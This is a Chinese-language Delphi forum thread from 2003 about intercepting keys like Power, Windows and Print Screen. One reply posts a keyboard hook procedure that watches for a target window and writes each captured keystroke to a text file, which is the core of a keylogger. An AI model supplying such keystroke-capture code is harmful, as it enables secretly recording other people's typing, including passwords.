有什么方法截取用户按键,如按Power键截取后并不再继续、按windows键截取它并不再显示开始菜单

yousoft2013 2003-09-20 12:02:45
有什么方法截取用户按键,
如按Power键截取后并不再继续
按windows键截取它并不再显示开始菜单

我用TApplicationEvents行不行?
...全文
63 6 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
ahjoe 2003-09-21
  • 打赏
  • 举报
回复
用Hook对WINDOWS键无效
tmouse 2003-09-21
  • 打赏
  • 举报
回复
哈哈哈,你啊,我有时候会到你网站里去,帮你up
yousoft2013 2003-09-21
  • 打赏
  • 举报
回复
没人理我?
yousoft2013 2003-09-20
  • 打赏
  • 举报
回复
to karach(卡车)
哪里来的?全文给我看看!!!!!!
karach 2003-09-20
  • 打赏
  • 举报
回复
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then //如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
if length(hookkey) > 0 then //如果获得按键名称
begin
Write(hookkeyFile,hookkey); //把按键名称写入文本文件
hookkey := '';
end;
end;
end;
yousoft2013 2003-09-20
  • 打赏
  • 举报
回复
还有print Screen键怎么截取?

1,183

社区成员

发帖
与我相关
我的任务
社区描述
Delphi Windows SDK/API
社区管理员
  • Windows SDK/API社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧